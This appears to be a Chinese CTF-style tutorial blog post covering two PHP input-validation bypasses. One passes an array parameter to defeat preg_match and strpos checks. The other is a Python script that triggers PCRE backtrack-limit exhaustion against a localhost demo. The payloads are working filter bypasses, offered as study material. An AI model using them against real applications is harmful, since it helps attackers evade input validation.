码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 【安全】正则回溯绕过练习简单案例


    目录

    环境

    案例1

    前要

    代码审计 

    分析 

    案例2 

    代码审计

    分析

    payload


    环境

            phpstudy

    案例1

          前要

            php中0 1 -1 true false null 空字符 数组之间的比较 

          代码审计 

    1. function areyouok($greeting){
    2. return preg_match('/Merry.*Christmas/is',$greeting);
    3. //2.传参之后来到这个有正则匹配的函数
    4. }
    5. $greeting=@$_POST['greeting'];
    6. //1.post传参
    7. if(!areyouok($greeting)){
    8. //3.这个if要areyouok返回false才能进来
    9. if(strpos($greeting,'Merry Christmas') !== false){
    10. //4.这个if要里面的strpos为字符查找函数,
    11. //如果查找到返回字符的位置,没有就返回false
    12. //5.根据弱类型匹配原则构造payload
    13. echo 'flag{this is flag}';
    14. }else{
    15. echo 'Do you know .swp file?';
    16. }
    17. }else{
    18. echo 'Do you know PHP?';
    19. }

     strpos函数官方文档提示:

            经过实验,如果字符串位置放数组返回的实际是null

         分析 

             ①正则要匹配不上才能进第一个if        

             ②第二个if又要求greeting中含有Merry Christmas

             ③跳出第二个的思想,根据官方文档提示如果返回的是null的话

             ④null !== false能返回true是因为!==参考的是严格比较=== (!=参考的==)

            payload

    greeting[]=

    案例2 

         代码审计

    1. function areyouok($greeting){
    2. return preg_match('/Merry.*Christmas/is',$greeting);
    3. }
    4. //3.目的是不匹配上merrychristmas
    5. $greeting=@$_POST['greeting'];
    6. //1.post传参
    7. if(!is_array($greeting)){
    8. //2.判断是否为数组(封杀案例1的那种payload)
    9. if(!areyouok($greeting)){
    10. if(strpos($greeting,'Merry Christmas') !== false){
    11. //4.匹配上merrychristmas
    12. echo 'Merry Christmas. '.'flag{this is flag}';
    13. }else{
    14. echo 'Do you know .swp file?';
    15. }
    16. }else{
    17. echo 'Do you know PHP?';
    18. }
    19. } else {
    20. echo 'fuck array!!!';
    21. }
    22. ?>

         分析

            ①不能匹配到MC的同时又要匹配到MC才能拿到flag

            ②正则回溯吐字符100w次就会返回false(目的是防止ddos)这样第一个if就能过去了,第二个只要里面存在MC也能进,那就构造存在MC的然后又会回溯100w次以上的

            

         payload

    1. from requests import post
    2. payload = {
    3. 'greeting': 'Merry Christmas' +'x'*1000000
    4. }
    5. res = post('http://localhost:8081/demo4.php', data=payload)
    6. print(res.text)

    注:图中所标版本复现失败,我以为是php版本高了,结果下面那个8.的复现成功了实属离奇

  • 相关阅读:
    《canvas》之第10章 canvas路径
    0037__一文了解嵌入式系统中常用外围接口
    2022“杭电杯”中国大学生算法设计超级联赛(6)
    关于我在字节跳动青训营做了个抖音这件事
    知识点滴 - 关于MFI
    南通港实现自动驾驶集卡+IGV多车型L4级编组作业运营,飞步科技车路云一体化应用全面落地
    R语言的极值统计学、分位数回归、机器学习方法
    Unreal Engine 4 + miniconda + Python2.7 + Pycharm
    【C++】位图及其应用
    Nodejs 第四十一章(项目架构MVC,IoC,DI)
  • 原文地址:https://blog.csdn.net/weixin_53428697/article/details/132663766
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号